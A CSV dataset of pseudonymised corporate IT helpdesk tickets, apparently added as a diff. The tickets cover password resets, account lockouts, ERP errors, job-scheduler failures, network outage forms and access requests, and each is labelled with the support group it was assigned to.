+nicrhty wanted to set ooo from ofwxjriq rwcxkflq's mailbox. nicrhty wanted to set ooo from ofwxjriq rwcxkflq's mailbox.,GRP_0 +"require crm access in android phone _x000D_ +_x000D_ +received from: luxdnsvk.qmnyzcfs@gmail.com_x000D_ +_x000D_ +hi,_x000D_ +_x000D_ +i would like to use crm on my android mobile phone._x000D_ +kindly let me know the procedure._x000D_ +_x000D_ +with best ",GRP_0 +ng_azubi locked ng_azubi locked,GRP_34 +ng_azubi locked. ng_azubi locked.,GRP_0 +"final quota warning hello,_x000D_ +_x000D_ +can you please help me on trailing email on ""mailbox-full"" warning?_x000D_ +_x000D_ +",GRP_0 +erp SID_34 account locked erp SID_34 account locked,GRP_0 +"mobile device support _x000D_ +_x000D_ +received from: ebqdmgpk.daoyrtmj@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +i am having issues with incoming/outgoing call on my company mobile device. i was unable to access the global support center on the hub. i will likely need a new device, as this issue is impact related. do i contact vendor mobile directly, or ? ",GRP_0 +support für umbau \ ewew8323862 \xwirzvda okhyipgr support für umbau \ ewew8323862 \xwirzvda okhyipgr,GRP_24 +password expired password expired,GRP_0 +"close line item on order 19101476 hi,_x000D_ +please close line item 91 on order number 20212587 because it has already been delivered but remains open in md04._x000D_ +",GRP_13 +"job Job_1314 failed in job_scheduler at: 08/26/2016 08:15:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1314 failed in job_scheduler at: 08/26/2016 08:15:00",GRP_9 +unable to change password on password_management_tool password manager unable to change password on password_management_tool password manager,GRP_0 +" it help for engineering_tool and engineering_tool dear sir,_x000D_ +_x000D_ +please help to download software of engineering_tool & engineering_tool on my laptop._x000D_ +our details are as below. i have a dealer of company india ltd._x000D_ +dist. name – ramdntya enterprises , aurangabad ( maharashtra )_x000D_ +dist. code – 81808174._x000D_ +_x000D_ +",GRP_0 +account getting locked frequently account getting locked frequently. user changed the password today itself.,GRP_0 +"wrong commited dates for 1409 on orders and quotes team, since yesterday we noticed that the commited date on order confirmation is wrong - it should be 12 days if tool is available in germany for transit plus 10 days for customer pick up. as a matheywter of fact the dates are too long in the future - e.g. order 35955871 opened today and available in plant_105 gives committed date of all mms (confirmed only for november). ",GRP_6 +"it - erp _x000D_ +_x000D_ +received from: kehtxprg.uekapfzt@gmail.com_x000D_ +_x000D_ +i am trying to access point of sales data in bex and it tells me i am not authorized, can you please authorize and give me access to that cube?_x000D_ +_x000D_ +attached is the files i am opening and once i connect to bex it gives me the following message_x000D_ +_x000D_ +[cid:image001.jpg@01d1ff67.61cd1680]_x000D_ +_x000D_ +_x000D_ +",GRP_2 +"laptop charge, network cable not working in our docks laptop charge, network cable not working in our docks",GRP_19 +"wrong nxd in plm _x000D_ +_x000D_ +received from: vahqkojb.trlapeso@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +a drawing was saved under the wrong plm number._x000D_ +please delete nxd #71894643_x000D_ +_x000D_ +mit freundlichen grüßen / best ",GRP_11 +"requesting for dock station and add-on monitor hi team,_x000D_ +_x000D_ +i am requesting for dock station and add-on monitor (preferably bigger in size). please consider this request and assist. _x000D_ + - beneficial to me while auditing inwarehouse_tools that will have average sized fonts, i could view the same in bigger screen very clearly_x000D_ + - helps me with my various work related activities like inwarehouse_tool comparison so i can do it in much more effective way with add-on monitor_x000D_ + - also helps me in email activities_x000D_ + - last but not the least, i don't have to carry my laptop charger to office everyday and can make my laptop big bit more lighter ;)_x000D_ +",GRP_19 +support für umbau \ewew8323735 \lpfzasmv cleoprzq support für umbau \ewew8323735 \lpfzasmv cleoprzq,GRP_24 +probleme mit rechner ewewx200257 \howfanzi siavgtby probleme mit rechner ewewx200257 \howfanzi siavgtby,GRP_24 +probleme mit infostand \ewew8323718 probleme mit infostand \ewew8323718 ,GRP_24 +support für stöhrmann \xosdfhbu gtbfkisl support für stöhrmann \xosdfhbu gtbfkisl,GRP_24 +"authorisation to the folder in m drive - qa folder + +received from: rjanhbde.owfkyjcp@gmail.com + +hello , + +pl. assign read / write authorisation to : guru j prasath, his user id : ""prarttsagj"" + +folder : m:\qa\iso 2008\iso9001_2008\SID_73 + + + +warm ",GRP_12 +"problem with erp logon _x000D_ +_x000D_ +received from: zaeduhlt.jdgsamtv@gmail.com_x000D_ +_x000D_ +[cid:image001.png@01d1ff8a.b54283e0]_x000D_ +_x000D_ +_x000D_ +mit freundlichen grüßen / with best ",GRP_0 +"job HostName_1019fail failed in job_scheduler at: 08/26/2016 04:53:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job HostName_1019fail failed in job_scheduler at: 08/26/2016 04:53:00",GRP_8 +"job HostName_1019fail failed in job_scheduler at: 08/26/2016 04:50:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job HostName_1019fail failed in job_scheduler at: 08/26/2016 04:50:00",GRP_8 +pls install ms outlook at pc of trainee yqwuhzkv icvgkxnt pls install ms outlook at pc of trainee yqwuhzkv icvgkxnt - pls.assign to qbnsrzlv gyqxkbae,GRP_33 +"job HostName_1019fail failed in job_scheduler at: 08/26/2016 04:43:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job HostName_1019fail failed in job_scheduler at: 08/26/2016 04:43:00",GRP_8 +"windows activation message _x000D_ +_x000D_ +received from: tzradpnj.izlotycb@gmail.com_x000D_ +_x000D_ +hello it team,_x000D_ +_x000D_ +what am i supposed to do with that issue?_x000D_ +_x000D_ +",GRP_0 +"passwort entsperrung erp SID_34 _x000D_ +_x000D_ +received from: plfwoagd.chtpiazu@gmail.com_x000D_ +_x000D_ +trotz benutzung des password_management_tool passwortmanagers funktioniert die entsperrung nicht._x000D_ +ich konnte mich nicht in erp SID_34 einloggen._x000D_ +password_management_tool entsperrung verwendet, kein erfolg_x000D_ +anruf bei it – rücksetzung pw auf daypay3 – zugang zu SID_34 dann möglich_x000D_ +musste aber über password_management_tool wieder alle pw angleichen auf das neue pw_x000D_ +nach telefonat erneutes einloggen im erp versucht. geht wieder nicht._x000D_ +_x000D_ +tut mir leid leute. ich kann nicht den ganzen tag damit verbringen, mir neue passwörter zu überlegen._x000D_ +bringt password_management_tool mit erp pw endlich zum laufen, damit diese firma effizienter wird._x000D_ +_x000D_ +für den aktuellen fall bitte ich um erneute rücksetzung es SID_34 passworts auf daypay3 damit ich weiterarbeiten kann._x000D_ +_x000D_ +_x000D_ +_x000D_ +[cid:image001.png@01d1ff80.ac619c70]_x000D_ +_x000D_ +mit freundlichen grugermany / best ",GRP_0 +"vvdortddp + +received from: aksthyuhath.shettythruy@company.com + +hi, + +please reset the password of mr. pradtheyp and share the new password to his manager mr. navbrtheen gogtr . + +emp no + +name + +useid + +manager + +20284583 + +yaxmwdth xsfgitmq + +vvdortddp + +navbrtheen gogtr + + + +with ",GRP_0 +no acces to the network with pc ewewx200257 in departement qa no acces to the network with pc 200257 in departement qa. tha access is urgent necessary for hardness measuring software. yevirgnl ylhogjct and ughzilfm cfibdamq are the responsible person,GRP_24 +\\HostName_29\kt-transition\applications\portal-pi-java-web\pi_training : full access : guprgttas1 \\HostName_29\kt-transition\applications\portal-pi-java-web\pi_training : full access : guprgttas1,GRP_12 +"manually constructed have 3 new numbers in the mm01 (mm 7302314/6291204/7302316). if i want to extend the material maste manually constructed have 3 new numbers in the mm01 (mm 7302314/6291204/7302316). if i want to extend the rqfhiong zkwfqagb, the system does not find any iso / ansi code. when i use the code manually night rage comes the message ""ansi catalog and grades already used by material""_x000D_ +_x000D_ +please check attachment.",GRP_29 +"aufstellung ordnerzugriff + +received from: wtxvqngf.nxjivlmr@gmail.com + +sehr geehrte damen und herren, + +ich bin share-owner des laufwerks departments\betriebsrat im werk germany +und benötige eine übersicht, wer alles zugriff auf den oben stehenden ordner hat. + +bitte lassen sie mir diese aufstellung unmittelbar zukommen. + + +mit freundlichen grüßen, +wtxvqngf nxjivlmr + +betriebsratsvorsitzender +company produktions gmbh & co. kg +altweiherstraße 27-31 + +company produktions gmbh & co. kg +geschäftsführer: phvkowml azbtkqwx, naruedlk mpvhakdq + + + + +diese mitteilung ist einzig und allein für die nutzung durch den adressaten bestimmt und kann informationen enthalten, die schutzwürdig, vertraulich oder nach geltendem recht von der offenlegung ausgenommen sind. die verbreitung, verteilung oder vervielfältigung dieser mitteilung durch personen, bei denen es sich nicht um die beabsichtigten empfänger handelt, ist streng verboten. wenn diese mitteilung aufgrund eines versehens bei ihnen eingegangen ist, dann benachrichtigen sie bitte den absender und löschen sie diese mitteilung. +[#+company/posts> [ +select the following link to view the disclaimer in an alternate language. ",GRP_34 +"stamping of timings in EU_tool is not working pulvermetalogy ee01_x000D_ +staeberoth fertigung ee02_x000D_ +sk hartbearbeitung ee03_x000D_ +_x000D_ +user cannot stamp in & out time in EU_tool._x000D_ +_x000D_ +data is not transferred to erp from yesterday. he does not know which employee was present yesterday and who was absent.",GRP_25 +"issue with erp SID_1 issue with erp SID_1 _x000D_ +page is not loading",GRP_0 +"outlook email access for felix zhang ; mobile device activation :; personal device. _x000D_ +_x000D_ +received from: kbclinop.vsczklfp@gmail.com_x000D_ +_x000D_ +hi,_x000D_ +please usa outlook access (email and calendar) for below staff on his iphone._x000D_ +_x000D_ +avmeocnk.mvycfwka@gmail.com_x000D_ +dept: r&d_x000D_ +_x000D_ +",GRP_0 +"error on ddeihrsh sigrtyhdeo's laptop _x000D_ +_x000D_ +received from: kbclinop.vsczklfp@gmail.com_x000D_ +_x000D_ +hi,_x000D_ +dibesh's laptop cannot boot up, need to resolve the issue._x000D_ +_x000D_ +",GRP_19 +"material issue + +received from: wktesmbp.lorjymef@gmail.com + +dear team， +we once shipped a subcontract order on jul 21th, +po#5616690206 +rough material#2224208*10pcs +movement type:541 +but its corresponding end product mm#6004236 still exists in erp,pls. help to check the root cause,thx! +[cid:image002.png@01d1ff9f.c823SID_310] +[cid:image001.png@01d1ffa0.05272471] + + +b.rgds +judthtihty.zhuyhts +company hardpoint apac-wgq dc + +",GRP_29 +"tablet - dell 7350 - 电脑开机启动蓝屏 please provide details of the issue._x000D_ +电脑开机启动蓝屏",GRP_31 +"can not post dn# 9169142692 due to batch issue + +received from: wktesmbp.lorjymef@gmail.com + +dear team, +pls. help to check return delivery#9169142692～ +it's required to enter batch but we can not key in anything in the blank +[cid:image001.png@01d1ffa6.a718f620] + +[cid:image002.png@01d1ffa7.0ff104d0] +b.rgds +judthtihty.zhuyhts +company hardpoint apac-wgq dc +",GRP_18 +laptop doesn't access with network laptop doesn't access with network ,GRP_31 +vpn login issue : account lock out vpn login issue : account lock out,GRP_0 +mobile device activation : company provided mobile device activation : company provided ,GRP_0 +sql error 2048 in SID_1 erp system there are are more than 15+ dumps in st22 with sql error 2048 ,GRP_14 +cartridge id02 printer cartridge replacement on the printer ,GRP_19 +"ie not launching ie not launching _x000D_ +_x000D_ +tried opening in safe mode, no go_x000D_ +reset , no go_x000D_ +tried disabling ie windows features, failed to disable._x000D_ +reboot system._x000D_ +it worked fine._x000D_ + ",GRP_0 +ad account lock out and password reset through password_management_tool password manager. ad account lock out and password reset through password_management_tool password manager.,GRP_0 +"delete of history/ cache in seocompanyxv syxewkji for ess uacyltoe hxgayczeing delete of history/ cache in seocompanyxv syxewkji for ess uacyltoe hxgayczeing_x000D_ +_x000D_ +",GRP_19 +defekt kopierer k 13 kopierer ausbildungswerkstatt k 13 defekt. fehlermeldung: einzug fehlerhaft servicedienst notwendig,GRP_42 +"ad account locked out ad account locked out +:520056771751 +summary:i am locked out of my computer. +",GRP_0 +skype issue : unable to make or receive calls in skype unable to make or receive calls in skype. most of the times the warehouse_tool thru hehr_toolhones is not audible but can be heard thru speake,GRP_0 +r101 drucker defekt r101 drucker defekt,GRP_33 +"job Job_3028 failed in job_scheduler at: 08/26/2016 00:02:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_3028 failed in job_scheduler at: 08/26/2016 00:02:00",GRP_8 +"job Job_3028 failed in job_scheduler at: 08/26/2016 00:02:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_3028 failed in job_scheduler at: 08/26/2016 00:02:00",GRP_8 +"in the inbox always show there are several emails which has not been read , but i had already +86 ",GRP_0 +job failed : ( there is no datasource with these attributes ) please check attachment job failed : ( there is no datasource with these attributes ) please check attachment,GRP_20 +account lock out issue account lock out issue ,GRP_0 +"general query about rdp : 44 +user wanted to report about some one working on his system without his awareness. +checked with changes happened in computer, it was erp went back to default settings. +checked in programdntys and features , it was erp patch installed during that time. +appreciated user and asked to inform if he sees this activity again.",GRP_0 +"could not setup notification list in dvw system: warning ora-02291. user name: yinnrty +user id: 11333657100 +system: dvw +contact phone: +error message:ora-02291: integrity constraint (gdwowner.fk_sbscrptn_tblusers) violated - parent key not found +---------------------------------------- +production specifications:  +application server :lhqSID_1854 +database server / name:oracle gdwp + +",GRP_25 +"account lock out issue account lock out issue _x000D_ +remote into user computer and removed all old password._x000D_ +cleared temp and prefetch file._x000D_ +signed in to outlook and checked with skype._x000D_ +ran lock out status and informed user to update password in all mobile device._x000D_ +_x000D_ +",GRP_0 +"job Job_3028 failed in job_scheduler at: 08/25/2016 22:02:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_3028 failed in job_scheduler at: 08/25/2016 22:02:00",GRP_8 +"job Job_3028 failed in job_scheduler at: 08/25/2016 22:02:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_3028 failed in job_scheduler at: 08/25/2016 22:02:00",GRP_8 +"ksem / m36 / ewkw8113117 / rechner startet nicht bios einstellen, das rechner bei netz-reset selbstständig startet._x000D_ +bitte um erledigung durch m. himghtmelreich",GRP_33 +unable to print from erp unable to print from erp,GRP_0 +"circuit outage: india telecom_vendor_1 40 & 20 mbps circuits are down at 4:33 pm et on 08/25. site is up on telecom_vendor_3 circuit . what type of outage: _____network __x__circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? _____yes____ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? ______4:33 pm et on 08/25________________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? no yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +4. scheduled maintenance ( network) ? __no_____ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? ___yes___ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? ___yes_____ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? _____na____ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? _______na____ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? _______na____ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? ____yes___ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +"job pp_EU_tool_netch_ap1 failed in job_scheduler at: 08/25/2016 16:14:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job pp_EU_tool_netch_ap1 failed in job_scheduler at: 08/25/2016 16:14:00",GRP_8 +"job pp_EU_tool_netch_ap1 failed in job_scheduler at: 08/25/2016 16:14:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job pp_EU_tool_netch_ap1 failed in job_scheduler at: 08/25/2016 16:14:00",GRP_8 +"network outage : usa warehouse, vpn circuit is down at 3:16 pm et on 08/25. site is up on primary. what type of outage: _____network ___x__circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? ___yes______ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? _______3:16 pm et on 08/25._______________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? _____no__ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? ___no____ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? ___yes___ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? ___yes_____ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? _________ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? _____na______ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? ____na_______ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? ____yes___ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_4 +"unable to connect to the printers dv07 and dv28. also need help to connect scanner unable to connect to the printers dv07 and dv28. i also need help with the scanner, i tried to download the driver from the fujitsu website but when i tried to run it i need to have administrator access???",GRP_3 +latpop will not startup without ac power cord connected so suspect a bad battery? latpop will not startup without ac power cord connected so suspect a bad battery?,GRP_3 +"circuit outage: usa , vpn circuit is down at 2:42 pm et on 08/25. circuit is up on primary. what type of outage: _____network __x___circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? __slo site_______ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? __________2:42 pm et on 08/25____________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? ____na___ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? ___na____ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? ___yes___ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? __yes______ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? _________ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? ______na_____ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? ____na_______ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? ____yes___ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +unable to log in to erp SID_34 unable to log in to erp SID_34,GRP_0 +unable to log in to erp SID_34 unable to log in to erp SID_34,GRP_0 +intermittent internet connection intermittent internet connection,GRP_0 +delivery notes from other users coming to the printer delivery notes from other users coming to the printer,GRP_18 +system slow on start up system slow on start up ,GRP_0 +"check router wifi - site: south_amerirtca - sp - são bernardo campo (mercedes benz) hi team, please check the router wifi the site company -south_amerirtca - são pollaurido / são bernardo campo. no is possible connect network wifi - companysecure, this network no is visible to users local. if you need connect remotely or has more doubts please, return me.. ",GRP_4 +usa print usa print issue,GRP_15 +"sign-on is not working name:mikhghytr karaffa +language: +browser:microsoft internet explorer +email:vfrdxtqw.jfbmsenz@gmail.com +customer number: +telephone: +summary:hello, my single sign-on is not working",GRP_0 +"pc probleme urgent + +received from: eluvxqhw.gpbfkqeu@gmail.com + +hallo , + +folgende funktionen und programdntyme laufen nicht mehr. + + +· weekly report läßt sich nicht übertragen, meldet falscher serverpfad. + + +· collaboration_platform findet die biblotheken nicht mehr. + + +· keine synchronisation mit collaboration_platform mehr. + + +· lte verbindung nicht möglich. + +mit freundlichen grüßen + +eluvxqhw gpbfkqeu +anwendungstechnik/ application engineer +transportation central europe + +e-mail: eluvxqhw.gpbfkqeu@gmail.com + +company deutschland gmbh www.company.com< +geschäftsführer: rfwlsoej yvtjzkaw, phvkowml azbtkqwx , naruedlk mpvhakdq + +diese mitteilung ist einzig und allein für die nutzung durch den adressaten bestimmt und kann informationen enthalten, die schutzwürdig, vertraulich oder nach geltendem recht von der offenlegung ausgenommen sind. die verbreitung, verteilung oder vervielfältigung dieser mitteilung durch personen, bei denen es sich nicht um die beabsichtigten empfänger handelt, ist streng verboten. wenn diese mitteilung aufgrund eines versehens bei ihnen eingegangen ist, dann benachrichtigen sie bitte den absender und löschen sie diese mitteilung. +[#+company/posts> [ +select the following link to view the disclaimer in an alternate language. ",GRP_0 +unable to load engineering tool unable to load engineering tool,GRP_0 +infopath installation infopath installation,GRP_0 +half the icons on my desktop are gone after a reboot and updates were applied half the icons on my desktop are gone after a reboot and updates were applied,GRP_3 +unable to get on skype audio meeting with outside vendors unable to get on skype audio meeting with outside vendors,GRP_0 +"usa oh operators are locked out of mii and not able to scan in production and capture value add usa oh operators are locked out of mii and not able to scan in production + +1) tortm hortl (howthrelte) - happened twice in one week +2) dmitazhw kxbifzoh + + +",GRP_0 +fjtrnslb ejzkrchq // account has expired fjtrnslb ejzkrchq // account has expired,GRP_0 +users in chicago wants to update bank details users in chicago wants to update bank details ,GRP_0 +bios update bios update,GRP_0 +"i am stuck. has 3 lines. lines 40 and 50 have been inwarehouse_toold 0158401519. line 60 we cannot pgi i am stuck. 9168335496 has 3 lines. lines 40 and 50 have been inwarehouse_toold 0158401519. line 60 we cannot pgi, so it has not inwarehouse_toold. any ideas on how we can get line 60 inwarehouse_toold?_x000D_ +_x000D_ + _x000D_ +_x000D_ +_x000D_ +v _x000D_ +",GRP_13 +device type changes for usa device type changes for usa,GRP_14 +ticket update on inplant_853729 ticket update on inplant_853729,GRP_0 +ticket update on inplant_853833 ticket update on inplant_853833,GRP_0 +"device not running dell ml6000 tape library! device not running dell ml6000 tape library !_x000D_ +_x000D_ +backup device not running. error say ""open door"" !!!!_x000D_ +_x000D_ +",GRP_12 +license inquiry about k1 license license inquiry about k1 license,GRP_0 +"adobe reader on my pc suddenly will not work, immediate crash ""adobe has stopped working"" adobe reader on my pc suddenly will not work, immediate crash ""adobe has stopped working""",GRP_3 +need access to znqcljxt azvoespk's emails need access to znqcljxt azvoespk's emails,GRP_26 +outlook is not responding. error : need password. outlook is not responding. error : need password.,GRP_0 +connections problems with microsoft collaboration_platform and my company account connections problems with microsoft collaboration_platform and my company account,GRP_0 +"ticket update name:erirtc +language: +browser:microsoft internet explorer +email:ntsowaem.jfgslyde@gmail.com +customer number: +telephone:7 +summary:following up on ctc t-code application incident - ticket_no1539328. can we please get the folks access aerp?",GRP_0 +"wireless guest access cti ( network –wireless-guest ) + +guest first name: jeffrghryey +guest last name: adrhtykins +guest email-id : jadrhtykins@salesforce.com +contact no - 412 +location: +company sponsor email-id: vbmzgsdk.jdmyazti@gmail.com +duration (duration for guest access) : today until 3 pm est",GRP_0 +account locked account locked,GRP_0 +intermittent shutdown on this computer intermittent shutdown on this computer,GRP_0 +"inwarehouse_tools 0581144512 and 0581149834 issued for ic5268. should be ic5252. inwarehouse_tools 0581144512 and 0581149834 issued for ic5268. should be ic5252._x000D_ +",GRP_13 +cannot make or recieve calls on iphone 5. cannot make or recieve calls on iphone 5.,GRP_63 +user needs this account as mentioned in the screenshot to be an active account so that he can add a new opportstorage_product. got a call transferred from vitalyst // user needs this account as mentioned in the screenshot to be an active account so that he can add a new opportstorage_product.,GRP_40 +new laptop set-up set up and new laptop and remove the old one,GRP_3 +"project collaboration_platform site is no longer creating a project id when a new project is added. project collaboration_platform site is no longer creating a project id when a new project is added._x000D_ +_x000D_ +_x000D_ +examples:_x000D_ +_x000D_ +_x000D_ +",GRP_16 +blank call with noise blank call with noise,GRP_0 +i have created 2 new material numbers but when i try to build the bom or put it in a bom it says material does not exist mm#'s 7390081 and 6290061,GRP_29 +"cannot access email same incident as the past two days, cannot access to email or km collaboration_platform, it fixed the issue but it is occurring again",GRP_0 +"please display monthly information on the sales approve screen in the compensation programdnty please display monthly information on the sales approve screen in the compensation programdnty. since the performance % calculation was changed to a monthly calculation, the screen has become a little confusing.",GRP_25 +"engineering tool from: aghynil dirttwan [mailto:toolperfect@gmail.com] +sent: thursday, august 25, 2016 11:08 am +to: nwfodmhc exurcwkm +subject: sabrthy engineering tool. + +respected sir/madam, +please guidge me how to install engineering tool.we have tried on web,but its not done download. +please reply. + + +-- +mr. aghynil dirttwan + +perfect sales & services +g-28, mohgrtyan arcade, + +",GRP_0 +"created rqfhiong zkwfqagb 7301102 yesterday afternoon. it does not exist in erp but the ansi iso says it already exists when i try to re-create with ansi iso tbbuyhexstandoff18mm erp says it already exists._x000D_ +_x000D_ + _x000D_ +",GRP_14 +query : who is the owner of shared mailbox : k-mws-distributor-discounts query : who is the owner of shared mailbox : k-mws-distributor-discounts,GRP_0 +password reset request. password reset request.,GRP_0 +bitte ewew8323718 konto wieder aktivieren bitte ewew8323718 konto wieder aktivieren,GRP_24 +engineering tool password reset. engineering tool password reset.,GRP_0 +unable to change the password from password_management_tool unable to change the password from password_management_tool,GRP_0 +"unable to log in to email, erp and collaboration_platform unable to log in to email, erp and collaboration_platform",GRP_0 +telefon asxpnlgk mnktdsjq (durchwahl 174) defekt. display kaum noch lesbar. verbindung bei telefonaten wird mittendrin unterbrochen.,GRP_42 +outlook access outlook will not connect when working from home office. ,GRP_27 +"job Job_1314 failed in job_scheduler at: 08/25/2016 08:15:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1314 failed in job_scheduler at: 08/25/2016 08:15:00",GRP_60 +"job Job_1314 failed in job_scheduler at: 08/25/2016 08:15:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1314 failed in job_scheduler at: 08/25/2016 08:15:00",GRP_60 +unable to submit a discount form from collaboration_platform unable to submit a discount form from collaboration_platform,GRP_0 +"job Job_1314 failed in job_scheduler at: 08/25/2016 08:15:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1314 failed in job_scheduler at: 08/25/2016 08:15:00",GRP_60 +"job Job_1314 failed in job_scheduler at: 08/25/2016 08:15:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1314 failed in job_scheduler at: 08/25/2016 08:15:00",GRP_9 +"wrong calculation in erp the rebate was not calculated correctly in the inwarehouse_tools 0158493708 + 0158484133._x000D_ +it was too little rebate.",GRP_13 +"job Job_2668 failed in job_scheduler at: 08/25/2016 08:06:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_2668 failed in job_scheduler at: 08/25/2016 08:06:00",GRP_60 +"job Job_2668 failed in job_scheduler at: 08/25/2016 08:06:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_2668 failed in job_scheduler at: 08/25/2016 08:06:00",GRP_8 +please reset my password for hr_tool globalview SID_67 please reset my password for hr_tool globalview SID_67,GRP_0 +need help to reset password. need help to reset password.,GRP_0 +can you help me reset password for microsoft lync please can you help me reset password for microsoft lync please,GRP_0 +"the detail of earnings batch job is not sending the most current payroll info. i keep getting zearn report for 6/06/16 -6/19/19._x000D_ +e-mail title fw: job hr446, step 1_x000D_ +how do i get the correct report. ",GRP_52 +"printer change from fd37 to fd34 _x000D_ +_x000D_ +received from: repyzajo.lxfwopyq@gmail.com_x000D_ +_x000D_ +hello help,_x000D_ +_x000D_ +as instructed by ecwtrjnq jpecxuty, please change permanently all default printing jobs/outputs on the erp printer fd37 to the printer fd34._x000D_ +also, please repeat all jobs sent to the printer fd37 between friday, august 19th until now on the new printer fd34._x000D_ +_x000D_ +_x000D_ +best ",GRP_5 +"urgent - registration of infopath 2013 _x000D_ +_x000D_ +received from: kuznvase.jrxtbuqz@gmail.com_x000D_ +_x000D_ +dear all,_x000D_ +_x000D_ +please urgently advise how to proceed with this._x000D_ +i am asked to review price discounts obviously managed by this ms tool:_x000D_ +_x000D_ +[cid:image001.png@01d1fed1.faf73520]_x000D_ +_x000D_ +_x000D_ +_x000D_ +best ",GRP_0 +unable to connect to hub unable to connect to hub,GRP_0 +"folder access (s:\globalace_holemaking\ha646) please se my comments in red._x000D_ +_x000D_ +viele grüße / best ",GRP_34 +"blocked web pages _x000D_ +_x000D_ +received from: iygsxftl.hysrbgad@gmail.com_x000D_ +_x000D_ +dear all,_x000D_ +_x000D_ +please unblock web pages which i do urgently need to access for my technical research._x000D_ +_x000D_ +e.g.:_x000D_ +[cid:image001.png@01d1fec2.852ceec0]_x000D_ +_x000D_ +mit freundlichen grüßen / best ",GRP_0 +"cisco access point is not working. cisco access point is not working._x000D_ +mac address : 1819db8e64",GRP_4 +profile setup for new joiner laptop and profile setup for new joiner nikitha upadhyaya/lqnoifve wvhelqxu ,GRP_19 +"need erp access to /n/dscsag/conv_rule system (SID_34, SID_37, SID_39, SID_38, hrp, other ?): SID_1 & SID_34 + +enter user id of user having the issue: gthydanp + +transaction code(s) the user needs or was working with: /n/dscsag/conv_rule + +describe the issue: need access to the t- code + +if you are getting a ""not authorized"" message, recreate the condition then do /nsu53 and attach result to the ticketing_tool ticket. attached + +provide access the same as this other user :phillpd",GRP_2 +probleme mit erpgui \vsdtxwry ngkcdjye probleme mit erpgui \vsdtxwry ngkcdjye,GRP_24 +die suchfunktion des skype verzeichnisses funktioniert immer noch nicht. die suchfunktion des skype verzeichnisses funktioniert immer noch nicht.,GRP_0 +akku def. openstage sl4 bitte neuen besorgen - phone replacement (siemens) akku def. openstage sl4 bitte neuen besorgen,GRP_33 +"pls. check user:yubtgy1 account + +received from: wktesmbp.lorjymef@gmail.com + +dear team, +pls. help to check below user's account, which account has been locked for several times~ thx a lot! +user: yubtgy1 + +b.rgds +judthtihty.zhuyhts +company hardpoint apac-wgq dc + + +",GRP_0 +"probleme mit weekly report und engineering_tool angebotserstellung + +received from: rkyjnbqh.kfshormi@gmail.com + +hallo zusammen, + +bitte um hilfe mit weekly report und engineering_tool angebotserstellung. + +bin heute bis 12uhr telefonisch erreichbar. + +vielen dank, +gruß + + + +[cid:image001.png@01d1febc.4451e6e0][cid:image003.jpg@01d1febc.9d05ba00] + 